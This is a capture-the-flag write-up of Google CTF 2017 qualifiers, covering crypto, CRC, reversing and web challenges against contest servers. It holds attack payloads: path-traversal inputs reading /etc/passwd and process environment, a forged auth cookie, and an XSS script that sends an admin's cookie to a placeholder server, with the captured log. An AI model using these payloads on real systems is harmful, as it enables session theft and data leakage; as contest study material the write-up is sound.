Google CTF 2017 Qualification Write-up

https://capturetheflag.withgoogle.com/

Our team, [superflip](https://capturetheflag.withgoogle.com/teams/1021) solved 9 problems, got 1309 points and won 36th place. This contest had a unique and clever scoring system. First, all problems were 500pt. The scores decreased as teams solved the problems.This system fulfills the role of first solver bonus. Finally, problems are scored according to their difficulty. Appropriate scoring is a hard task for contest organizers.

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/00f16b56-7429-783f-38af-36d2761ec36f.png"><img width="320" src="https://qiita-image-store.s3.amazonaws.com/0/25276/00f16b56-7429-783f-38af-36d2761ec36f.png"></a> <a href="https://qiita-image-store.s3.amazonaws.com/0/25276/5536e83c-844e-412e-7e93-bb299afac2a5.png"><img width="320" src="https://qiita-image-store.s3.amazonaws.com/0/25276/5536e83c-844e-412e-7e93-bb299afac2a5.png"></a>

The followings are my write-up for problems I solved.

# Cryptography

## Crypto Backdoor

This problem adopts [Diffie-Hellman key exchange](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) on a system resembles to [Elliptic curve cryptography](https://en.wikipedia.org/wiki/Elliptic_curve_cryptography). Addition $(x_3, y_3) = (x_1, y_1) + (x_2, y_2)$ is defined as follows:

```math
x_3 = \frac{x_1x_2 - x_1y_2 - x_2y_1 + 2y_1y_2}{x_1 + x_2 - y_1 - y_2 -1}, \\
y_3 = \frac{y_1y_2}{x_1 + x_2 - y_1 - y_2 -1}.
```

Looking closer the formulae, I found that they can be transformed to

```math
\frac{1}{x_3-y_3}-1 = -\left(\frac{1}{x_1-y_1}-1\right)\left(\frac{1}{x_2-y_2}-1\right).
```

For integer $a$, point $(x_g, y_g)$ and the product $(x_A, y_A) = a \cdot (x, y)$,

```math
\frac{1}{x_A-y_A}-1 = \left(-1\right)^{a+1}\left(\frac{1}{x_g-y_g}-1\right)^a.
```

This means that we can get Alice and Bob's secret from their public key if a discrete logarithm on $p$ is possible. Yes, it is possible. $p$ has only small prime factors.

```shell-session
$ factor 606341371901192354470259703076328716992246317693812238045286463
606341371901192354470259703076328716992246317693812238045286463: 901236131 911236121 921236161 931235651 941236273 951236179 961236149
```

In this situation, discrete logarithm can be done by [Pohlig–Hellman algorithm](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm), which is implemented in [PARI/GP](https://pari.math.u-bordeaux.fr/).

```
%1 = 606341371901192354470259703076328716992246317693812238045286463
<09, 255466303302648575056527135374882065819706963269525464635673824]
%2 = [160057538006753370699321703048317480466874572114764155861735009, 255466303302648575056527135374882065819706963269525464635673824]
<62, 263320455545743566732526866838203345604600592515673506653173727]
%3 = [460868776123995205521652669050817772789692922946697572502806062, 263320455545743566732526866838203345604600592515673506653173727]
(05:19) gp > g2 = Mod(g[1]-g[2], p)^-1-1
%4 = Mod(63093899569266548072275741049105650444309259446346126640847189, 606341371901192354470259703076328716992246317693812238045286463)
(05:19) gp > A2 = Mod(A[1]-A[2], p)^-1-1
%5 = Mod(233633570974859919122857814463959824448250214205914172240649146, 606341371901192354470259703076328716992246317693812238045286463)
(05:19) gp > As1 = znlog(A2, g2, znorder(g2)) \\ for odd
%6 = []
(05:19) gp > As2 = znlog(-A2, g2, znorder(g2)) \\ for even
%7 = 6621005115841589341021728146593578127178145692816888878
```

Alice's secret is 6621005115841589341021728146593578127178145692816888878.

Now we are able to decrypt the flag.

```py
from crypto_backdoor import *

# Modulus
p = 606341371901192354470259703076328716992246317693812238045286463
# g is the generator point.
g = (160057538006753370699321703048317480466874572114764155861735009, 255466303302648575056527135374882065819706963269525464635673824)
# Alice's public key A:
A = (460868776123995205521652669050817772789692922946697572502806062, 263320455545743566732526866838203345604600592515673506653173727)
# Bob's public key B:
B = (270400597838364567126384881699673470955074338456296574231734133, 526337866156590745463188427547342121612334530789375115287956485)

aliceSecret = 6621005115841589341021728146593578127178145692816888878

length = 31
encrypted_message = 137737300119926924583874978524079282469973134128061924568175107915062758827931077214500356470551826348226759580545095568667325

aliceMS = mul(aliceSecret, B, p)
masterSecret = aliceMS[0]*aliceMS[1]
flag = encrypt(encrypted_message, masterSecret)

print Sn(flag, length)
```

Answer: `CTF{Anyone-can-make-bad-crypto}`

## Introspective CRC

GIF image https://shells.aachen.ccc.de/~spq/md5.gif is introduced in the problem statement. MD5 hash of this image is displayed in this image!

Behavior of the specified server is as follows.

```shell-session
$ nc selfhash.ctfcompetition.com 1337
Give me some data: a

Check failed.
Expected:
    len(data) == 82
Was:
    1

$ nc selfhash.ctfcompetition.com 1337
Give me some data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Check failed.
Expected:
    set(data) <= set("01")
Was:
    set(['a'])

$ nc selfhash.ctfcompetition.com 1337
Give me some data: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000

Check failed.
Expected:
    crc_82_darc(data) == int(data, 2)
Was:
    1021102219365466010738322L
    0
```

This problem requires me submit "Introspective CRC". crc_82_darc is [CRC](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of width 82, polynomial is 0x308c0111011401440411, input data is reflected byte-wise and output data is reflected (not byte-wise).

At first, I feelt that this problem is [SAT problem](https://en.wikipedia.org/wiki/Boolean_satisfiability_problem). So, I tried to solve using Microsoft's SAT solver [Z3](https://github.com/Z3Prover/z3)

```py
from z3 import *

n = 82
poly = 0x308c0111011401440411

P = [poly>>(n-i-1)&1 for i in range(n)]

s = Solver()
# data
D = BoolVector("d", n*8)
# CRC
C = BoolVector("c", n*8+n)
# xor poly
X = BoolVector("x", n*8)

for i in range(n*8+n):
    T = Xor(D[i], X[i]) if i<n*8 else False
    for j in range(n):
        if 0<=i-j-1<n*8 and P[j]:
            T = Xor(T, X[i-j-1])
    s.add(C[i] == T)

for i in range(n):
    for j in range(8):
        s.add(C[i*8+j] == False)
    s.add(D[i*8] == C[-i-1])
    s.add(D[i*8+1] == False)
    s.add(D[i*8+2] == False)
    s.add(D[i*8+3] == False)
    s.add(D[i*8+4] == True)
    s.add(D[i*8+5] == True)
    s.add(D[i*8+6] == False)
    s.add(D[i*8+7] == False)

print s.check()
m = s.model()
print "D", "".join("1" if m[d] else "0" for d in D)
print "C", "".join("1" if m[c] else "0" for c in C)
print "X", "".join("1" if m[x] else "0" for x in X)
print "answer", "".join("1" if m[D[i*8]] else "0" for i in range(n))
```

This code did not finish in several hours. Microsoft could not beat Google :neutral_face:

The assumed solution is linear algebra. Let us denote $i$-th digit in CRC by $x_i$ and calculate CRC of CRC.

![crc.gif](https://qiita-image-store.s3.amazonaws.com/0/25276/4612e46b-3e04-a44c-099e-7c0ab4f11428.gif)

Finally, we get CRC represented by $x_i$. Since this CRC required to be equal to the original CRC, they form simultaneous equations, which can be solved by a row reduction method.

```
x0 = x0 ^      x2 ^ x3 ^ x4 ^ x5 ^ x6 ^           x9 ^ x10 ^ x11 ^      x13 ^...
x1 = x0 ^      x2 ^           x5 ^      x7 ^      x9 ^      x11 ^ x12 ^      ...
x2 =                x3 ^                x7 ^                     x12 ^       ...
x3 = x0 ^ x1 ^ x2 ^ x3 ^      x5 ^ x6 ^                x10 ^ x11 ^ x12 ^     ...
x4 = x0 ^                x4 ^ x5 ^           x8 ^      x10 ^           x13 ^ ...
x5 = x0 ^ x1 ^      x3 ^ x4 ^      x6 ^ x7 ^      x9 ^ x10 ^ x11 ^ x12 ^ x13 ...
x6 = x0 ^                x4 ^ x5 ^      x7 ^      x9 ^ x10 ^      x12 ^      ...
x7 = x0 ^      x2 ^ x3 ^ x4 ^ x5 ^ x6 ^ x7 ^                x11 ^            ...
x8 =      x1 ^           x4 ^ x5 ^ x6 ^                x10 ^ x11 ^ x12 ^     ...
x9 =           x2 ^ x3 ^      x5 ^           x8 ^           x11 ^      x13 ^ ...
x10 =                                                                  x13 ^ ...
x11 =                                                                        ...
x12 =                     x4 ^                     x9 ^                      ...
x13 =      x1 ^                               x8 ^ x9 ^                      ...
x14 =           x2 ^      x4 ^                                               ...
x15 =                                                                  x13 ^ ...
 :
```

My solution is

```py
n = 82
P = 0x308c0111011401440411

# i-th bit is x_i, n-th bit is a constant
D = [0]*(n*8+n)
for i in range(n*8):
    D[i] = [1<<(i/8), 0, 0, 0, 1<<n, 1<<n, 0, 0][i%8]

for i in range(n*8):
    for j in range(n):
        if P>>(n-1-j)&1:
            D[i+j+1] ^= D[i]
    D[i] = 0

T = D[n*8:][::-1]
for i in range(n):
    T[i] ^= 1<<i
for i in range(n):
    p = i
    while p<n and not T[p]>>i&1:
        p += 1
    if p==n:
        continue
    T[i],T[p] = T[p],T[i]
    for j in range(n):
        if j!=i and T[j]>>i&1:
            T[j] ^= T[i]
for t in T:
    print bin(t|1<<(n+1))[-n-1:][::-1]

ans = "".join(str(t>>n&1) for t in T)
print "ans", ans
```

```
10000000000000000000000000000000000000000000000000000000000000000000000000000000001
01000000000000000000000000000000000000000000000000000000000000000000000000000000100
00100000000000000000000000000000000000000000000000000000000000000000000000000000001
00010000000000000000000000000000000000000000000000000000000000000000000000000000100
00001000000000000000000000000000000000000000000000000000000000000000000000000000100
00000100000000000000000000000000000000000000000000000000000000000000000000000000001
  :
00000000000000000000000000000000000000000000000000000000000000000000000000000001000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000010
ans 1010010010111000110111101011101001101011011000010000100001011100101001001100000000
```

Second last line means that for x_80 both of '0' and '1' are acceptable.

```shell-session
$ nc selfhash.ctfcompetition.com 1337
Give me some data: 1010010010111000110111101011101001101011011000010000100001011100101001001100000000

CTF{i-hope-you-like-linear-algebra}
```

Answer: `CTF{i-hope-you-like-linear-algebra}`

# Miscellaneous

## Secret Notes

A solution of "Secret Notes 2" is in the next section.

Web site and android application NotesApp.apk are given.

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/1f5111b3-8bf4-cd3e-a5ad-3cec0b6c19e6.png)

Entering some username, the web site returns a token.

```
Your access token is 61736166736466617366776562-2f9f5004c7a8bf50
```

In the HTTP response, there is the following HTTP header

```
x-served-by:index.py
```

and `Hint: pyc` was appended later. So I tried to access https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/index.pyc and downloaded it. .pyc is pre-compiled python code and can be decompiled by [uncompyle2](https://github.com/wibiti/uncompyle2).

```shell-session
$uncompyle2 index.pyc > index.py
```

There is the following code snippet in index.py.

```py
key1, key2, db = secrets.get()
locked_id = '436f7267316c3076657239393c332121'
locked = list()
locked.append(locked_id)
hasher = ZXHash(key1.encode('hex'), key2)
note = PrivateNote.get_by_id(locked_id)
if not note:
    note = PrivateNote(id=locked_id, content=db)
else:
    note.content = db
note.put()
```

Since the locked user 436f7267316c3076657239393c332121 = Corg1l0ver99<3!! has a db from "secrets" and can not overwrite it, I guessed that this contains the flag.

Next task is to get the token of the locked user. I could not find "ZXHash". Even if I could , `key1` and `key2` are in "secrets". By gathering many tokens, I found that suffixed 0's do not affect to the hash.

```
987654321-7a3222520eda9559
9876543210-7a3222520eda9559
98765432100-7a3222520eda9559
```

So, `436f7267316c3076657239393c332121000...00` would have the same hash to `436f7267316c3076657239393c332121`. Unfortunately, when I noticed that, all of `436f7267316c3076657239393c332121000...00` were had been registered by someone :weary: I also found that increasing last byte increase a byte in the hash.

```
436f7267316c3076657239393c33212100000002-32e7722af277ba31
436f7267316c3076657239393c33212100000003-32e7722bf277ba31
436f7267316c3076657239393c33212100000004-32e7722cf277ba31
```

The hash of `436f7267316c3076657239393c33212100000000` is `32e77228f277ba31`, which is also the hash of `436f7267316c3076657239393c332121`. Now, I can get the db of Corg1l0ver99<3!!.

```shell-session
$curl https://notes-server-m8tv5txzzohwiznk.web.ctfcompetition.com/private -H "Cookie: auth=436f7267316c3076657239393c332121-32e77228f277ba31" > private
```

URL path `/private` is obtained by analyzing NotesApp.apk. I will describe how to analyze Android application in a solution of "Food".

private is Base64 encoded SQLite3 DB and contains the flag of this problem.

```shell-session
$ base64 -d private > private.db
```

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/556925c7-c380-c99f-742b-58982c1b5867.png)

Answer: `ctf{with_crypt0_d0nt_ro11_with_it}`

## Secret Notes 2

This problem's statement is only

> There is a DIFFerent flag, can you find it?

No files are given. What should I do?

The flag is in the DB of "Secret Notes". 

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/6b5f121f-b9a4-eb8b-9863-dff417351610.png)

Since NotesApp.apk did not work on my Android, I wrote a code simulating editing.

```py
import sqlite3
c = sqlite3.connect("private.db")
text = ""
for r in c.execute("select * from Diff inner join DiffSet on DiffSet=DiffSet.ID where Note='flag.txt' order by ID"):
    Insertion = r[1]
    IDX = r[2]
    Diff = r[3]
    if Insertion==1:
        text = text[:IDX] + Diff + text[IDX:]
    else:
        text = text[:IDX] + text[IDX+len(Diff):]
    print text
```

```
$python solve.py
cat flag
cat flag one flag two flag
cat flag one flag two flag
red flag blue flag
  :
ctfighters, {puZZ1e_As_old_as_t. Ime}
ctfighters, {puZZ1e_As_old_as_tIme}
ctf{puZZ1e_As_old_as_tIme}
ctf{puZZ1e_As_old_as_The finale.tIme}
ctf{puZZ1e_As_old_as_inale.tIme}
  :
And so thuslends the story we have le.1old_As_old_This is the finale} Your flag is no longer here.
Your flag is no longer here.
```

Answer: `ctf{puZZ1e_As_old_as_tIme}`

## mindreader

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/253c5401-8e1e-4b1e-f053-831d4d098683.png)

Entering some text, I got Not Found.

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/fe5ad4d7-c655-7892-28a7-0b481c5b6ead.png)

[Directory traversal attack](https://en.wikipedia.org/wiki/Directory_traversal_attack)? I could get `../../../../../../etc/passwd`.

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/eabd2487-1de2-177c-ca1a-e4045cdffd2b.png)

Next, to see the source code of the problem, I tried `/../index.php`, `/../../index.php`, `/../index.pl` etc and failed. `/etc/httpd/conf/httpd.conf` and `/etc/nginx/nginx.conf` did not exist. What is running? To guess that, I tried to see `/proc/self/cmdline` and got 403 Forbidden.

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/71fd81b2-5fc7-3ef0-670d-53f7c09f42b1.png)

While I traveling my Linux file system, I found that `/dev/fd` is a symbolic link to `/proc/self/fd`.

```
lrwxrwxrwx  1 root root          13 Jun 17 13:21 fd -> /proc/self/fd
```

I could read `/proc/self/cmdline` through `../../../../dev/fd/../cmdline`.

```
/env/bin/python/env/bin/gunicorn-b:8080-cgunicorn.conf.pymain:app
```

The source code is `./main.py`. There is a assert in the code.

```
assert os.environ['FLAG']
```

The flag is in `../../../../dev/fd/../environ`.

Answer: `CTF{ee02d9243ed6dfcf83b8d520af8502e1}`

## Start here (FAQ)

> What is the flag in the FAQ?

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/efa90634-2809-44fa-044c-6342a45e509f.png)

https://capturetheflag.withgoogle.com/faq

solved :innocent:

Answer: `CTF{this-is-a-flag}`

# Reversing

## Food

Reversing Android application. [dex2jar](https://sourceforge.net/projects/dex2jar/) extract code from Android applications and convert it to .jar file.

```shell-session
>d2j-dex2jar.bat food.apk
dex2jar food.apk -> .\food-dex2jar.jar
```

Using [JD-GUI](http://jd.benow.ca/), we can see the source codes in food-dex2jar.jar

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/c363f4b1-a643-bca4-8c95-1136524a3cbd.png)

There is no flag in the .jar. What should we watch is the following line:

```java
System.loadLibrary("cook");
```

which means loading a native library. .apk is a standard zip file. We can find library "cook" in `food.apk/lib/x86/libcook.so`. libcook.so is a ELF file and can be disassembled by objdump.

```shell-session
$ objdump -d -M intel libcook.so > libcook.txt
```

In libcook.so, strings are simply obfuscated. I wrote the following Python code to decode them.

```py
def decode(data):
    res = ""
    for d in data:
        res += chr((d^d>>8)&0xff)
        res += chr((d>>0x18^d>>0x10)&0xff)
    return res

print decode([0x15656748, 0x1b741361, 0x406f4320, 0x96c1a69, 0xf694c20, 0x4d20416e, 0x50200061, 0x61611f6c])
# proc/self/maps
```

The following strings are in libcook.so:

```
r
/proc/self/maps
/d.dex
dex\n0
java/lang/ClassLoader
()Ljava/lang/ClassLoader;
getSystemClassLoader
/data/data/com.google.ctf.food/files/d.dex
/data/data/com.google.ctf.food/files/odex
/data/data/com.google.ctf.food/files/odex/d.dex
 :
```

While I did not analyzed all of the code, I guessed that libcook.so read data from itself, write it as a d.dex and load it. Actually, searching a .dex signature (dex\n035), I found a .dex file in libcook.so (0x1640-). Extracting it and using dex2jar again, I got another .jar file. However, something seems to be missing. 0x1d60-0x1df0 in libcook.so is filled by 0x0e and data in just above (0x15a0-0x1630) is seems to be fit. I had gotten a full code of d.dex.

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/4ba34fe3-7381-5076-3ac2-16d474ffc5d2.png)

After analyzing this code, I found that the key may be 🍉🌰🍦🍓🍄🍬🍒🍞. Since my Android was not able to not run food.apk too, I had to decode the flag manually. The decode routine is obfuscated and JD-GUI failed to decompile it.

![image.png](https://qiita-image-store.s3.amazonaws.com/0/25276/c17d66ba-349e-528e-2eb2-4f50934af9c4.png)

I guessed that this process is [RC4](https://en.wikipedia.org/wiki/RC4) and tried to decrypt the flag. The guess is correct. I got the flag.

```py
# coding: utf-8

A = [0o23, 0o21, 0o23, 0o03, 0o04, 0o03, 0o01, 0o05]
B = [26, 27, 30, 4, 21, 2, 18, 7]
C = ["🍕", "🍬", "🍞", "🍎", "🍅", "🍙", "🍝", "🍓", "🍈", "🍉", "🌰", "🍗", "🍤", "🍦", "🍇", "🍌", "🍣", "🍄", "🍊", "🍒", "🍠", "🍍", "🍆", "🍟", "🍔", "🍜", "🍩", "🍚", "🍨", "🌾", "🌽", "🍖"]
K = [0]*8
for i in range(8):
    K[i] = A[i]^B[i]
    # print C[A[i]^B[i]],

S = range(256)
j = 0
for i in range(256):
    j = (j + S[i] + K[i%len(K)]) % 256
    S[i], S[j] = S[j], S[i]

F = [-19, 116, 58, 108, -1, 33, 9, 61, -61, -37, 108, -123, 3, 35, 97, -10, -15, 15, -85, -66, -31, -65, 17, 79, 31, 25, -39, 95, 93, 1, -110, -103, -118, -38, -57, -58, -51, -79]
j = 0
i = 0
flag = ""
for f in F:
    i = (i + 1) % 256
    j = (j + S[i]) % 256
    S[i], S[j] = S[j], S[i]
    flag += chr(f%256 ^ S[(S[i] + S[j]) % 256])
print flag
```

Answer: `CTF{bacon_lettuce_tomato_lobster_soul}`

## Moon

x64 windows application.

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/70dc5edb-027f-19cd-8498-069557af4878.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/70dc5edb-027f-19cd-8498-069557af4878.png" width="480"></a>

[x64dbg](http://x64dbg.com) is the best choice for debugging x64 windows applications.

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/e5e1d4ac-1b4a-2cd3-0db1-01715037f4ba.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/e5e1d4ac-1b4a-2cd3-0db1-01715037f4ba.png" width="480"></a>

moon.exe is too large to analyze the whole of the code. The first task is to find the point at where passwords are validated. Finding strings (Right click → Search for → Current module → String references) and hardware break point are useful tools for this situation.

By finding strings, I could see that `GOOD` will be displayed if `[4CA0AC]` is 2.

```
000000000040297E | 8B 05 28 77 0C 00        | mov eax,dword ptr ds:[4CA0AC]        |
0000000000402984 | 48 8B 73 28              | mov rsi,qword ptr ds:[rbx+28]        |
0000000000402988 | F3 0F 11 91 E4 0A 00 00  | movss dword ptr ds:[rcx+AE4],xmm2    |
0000000000402990 | 48 89 CB                 | mov rbx,rcx                          |
0000000000402993 | F3 0F 11 99 E8 0A 00 00  | movss dword ptr ds:[rcx+AE8],xmm3    |
000000000040299B | F3 0F 11 91 20 0B 00 00  | movss dword ptr ds:[rcx+B20],xmm2    |
00000000004029A3 | 44 8D 04 85 00 00 00 00  | lea r8d,dword ptr ds:[rax*4]         |
00000000004029AB | F3 0F 11 99 24 0B 00 00  | movss dword ptr ds:[rcx+B24],xmm3    |
00000000004029B3 | 4D 63 C0                 | movsxd r8,r8d                        |
00000000004029B6 | F3 0F 11 91 5C 0B 00 00  | movss dword ptr ds:[rcx+B5C],xmm2    |
00000000004029BE | 48 8D 05 FE C6 09 00     | lea rax,qword ptr ds:[49F0C3]        | 49F0C3:"    NopeGood"
```

Once I set a hardware break point at some memory address, the program will stop when the memory is accessed/wrote/executed. By hardware break point I found that moon.memcmp at 0x498f96 can set `2` to `[4CA0AC]`.

```
0000000000498F96 | E8 5D 50 F8 FF           | call <moon.memcmp>                   |
0000000000498F9B | 85 C0                    | test eax,eax                         |
0000000000498F9D | 0F 85 C2 FE FF FF        | jne moon.498E65                      |
0000000000498FA3 | C7 05 FF 10 03 00 02 00  | mov dword ptr ds:[4CA0AC],2          |
```

This memcmp compared constant string `30c7ead971077759...` and a calculated hash. By setting hardware break point again at the address of the calculated hash... Reverse tracing is also useful. Input some text as a password, find it in the memory and set a break point for access to the address. If the password is accessed, set another break point to the destination of the password.

Things seemed to be well. But, I faced strange behavior. The password hash was written to the memory without program stopping even if I set the break point! Before the hash is written, function glClientWaitSync is called. I saw that password is hashed in GPU.

Setting a break point at glShaderSource, I could get a shader source code.

```
#version 430.layout(local_size_x=8,local_size_y=8)in;layout(std430,binding=0) bu
ffer shaderExchangeProtocol{uint state[64];uint hash[64];uint password[32];};vec
3 calc(uint p){float r=radians(p);float c=cos(r);float s=sin(r);mat3 m=mat3(c,-s
,0.0,s,c,0.0,0.0,0.0,1.0);vec3 pt=vec3(1024.0,0.0,0.0);vec3 res=m*pt;res+=vec3(2
048.0,2048.0,0.0);return res;}uint extend(uint e){uint i;uint r=e^0x5f208c26;for
 (i=15;i<31;i+=3){uint f=e<<i;r^=f;}return r;}uint hash_alpha(uint p){vec3 res=c
alc(p);return extend(uint(res[0]));}uint hash_beta(uint p){vec3 res=calc(p);retu
rn extend(uint(res[1]));}void main(){uint idx=gl_GlobalInvocationID.x+gl_GlobalI
nvocationID.y*8;uint final;if (state[idx]!=1){return;}if ((idx&1)==0){final=hash
_alpha(password[idx/2]);}else{final=hash_beta(password[idx/2]);}uint i;for (i=0;
i<32;i+=6){final^=idx<<i;}uint h=0x5a;for (i=0;i<32;i++){uint p=password[i];uint
 r=(i*3)&7;p=(p<<r)|(p>>(8-r));p&=0xff;h^=p;}final^=(h|(h<<8)|(h<<16)|(h<<24));h
ash[idx]=final;state[idx]=2;memoryBarrierShared();}
```

I rewrote it to Python code.

```py
from math import *

def calc(p):
    r = radians(p)
    return (1024*cos(r)+2048, 1024*sin(-r)+2048)

def extend(e):
    r = e^0x5f208c26
    for i in range(15, 31, 3):
        r ^= e<<i
    return r & 0xffffffff

def hash_alpha(p):
    return extend(int(calc(p)[0]))

def hash_beta(p):
    return extend(int(calc(p)[1]))

def main(password, idx):
    password = map(ord, password)
    if (idx&1)==0:
        final = hash_alpha(password[idx/2])
    else:
        final = hash_beta(password[idx/2])
    for i in range(0, 32, 6):
        final ^= idx<<i
    h = 0x5a
    for i in range(32):
        p = password[i]
        r = (i*3)&7
        p = p<<r | p>>(8-r)
        h ^= p & 0xff
    final ^= h | h<<8 | h<<16 | h<<24
    return final & 0xffffffff
```

Is it possible to compute the original password from the hash? Yes. Variable `h` takes only 256 patterns and other values are independent for indexes. For each `idx`, let us calculate `final` for all `h` and characters. If there is a `final` which equals to the target hash, the character is in the password.

```py
hash_org = "30c7ead97107775969be4ba00cf5578f1048ab1375113631dbb6871dbe35162b1c62e982eb6a7512f3274743fb2e55c818912779ef7a34169a838666ff3994bb4d3c6e14ba2d732f14414f2c1cb5d3844935aebbbe3fb206343a004e18a092daba02e3c0969871548ed2c372eb68d1af41152cb3b61f300e3c1a8246108010d282e16df8ae7bff6cb6314d4ad38b5f9779ef23208efe3e1b699700429eae1fa93c036e5dcbe87d32be1ecfac2452ddfdc704a00ea24fbc2161b7824a968e9da1db756712be3e7b3d3420c8f33c37dba42072a941d799ba2eebbf86191cb59aa49a80ebe0b61a79741888cb62341259f62848aad44df2b809383e09437928980f"
hash = [int(hash_org[i*8:i*8+8], 16) for i in range(64)]

password = ""
for idx in range(0, 64, 2):
    h1 = 0
    for i in range(0, 32, 6):
        h1 ^= idx<<i
    h1 &= 0xffffffff
    for h in range(256):
        h2 = h|h<<8|h<<16|h<<24
        for p in range(256):
            if hash[idx]^h1^h2 == hash_alpha(p):
                password += chr(p)
                break
print password
```

Answer: `CTF{OpenGLMoonMoonG0esT0TheMoon}`

# Web

## Joe

Chat with AI.


<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/b57ab4eb-c7f5-a804-77e3-8f5e45124bcf.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/b57ab4eb-c7f5-a804-77e3-8f5e45124bcf.png" width="480"></a>

<a href="https://qiita-image-store.s3.amazonaws.com/0/25276/a81a2f1e-d24f-7adf-27bb-5ff4b6b7978d.png"><img src="https://qiita-image-store.s3.amazonaws.com/0/25276/a81a2f1e-d24f-7adf-27bb-5ff4b6b7978d.png" width="480"></a>

There was simple XSS in the service. AI's name in HTML was not escaped. So, if I can change AI's name in admin's session to `<script>location.href="http://[my server]/"+document.cookie</script>`, I will get admin's cookie. How to change AI's name for admin? The answer is OAuth login. Page transmission in OAuth login is as flollows:

1. https://joe.web.ctfcompetition.com/login
2. https://joe.web.ctfcompetition.com/login?state=x.xxxxxxxxxxxx&code=4/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
3. https://accounts.google.com/signin/oauth?client_id=...
4. https://joe.web.ctfcompetition.com/login?state=x.xxxxxxxxxxxx&code=4/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
5. https://joe.web.ctfcompetition.com/login?id_token=...
6. https://joe.web.ctfcompetition.com/

The key is 5th URL. I changed AI's name of **my** session to the attack vector and send 5th URL to admin. Since 5th URL is too long to send, I adopt a URL Shortener. Admin had accessed [my server] with a cookie containing the flag.

```shell-session
$ nc -l 80
GET /flag=CTF%7Bh1-j03-c4n-1-h4v3-4-c00k13-plz!?!};%20session=eyJ1c2VyX25hbWUiOiJfIiwidXNlcl9pZCI6IjExMDg4MzUyMTI4NjE2ODA2MjQwMyIsInRhbGtfc3RhdGUiOjB9|1497761746|1f63065c2250af58d4bd228c1ab84c5e7a3f3098 HTTP/1.1
Host: [my server]
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-DevTools-Request-Id: 17095.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/59.0.3071.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
```

Answer: `CTF{h1-j03-c4n-1-h4v3-4-c00k13-plz!?!}`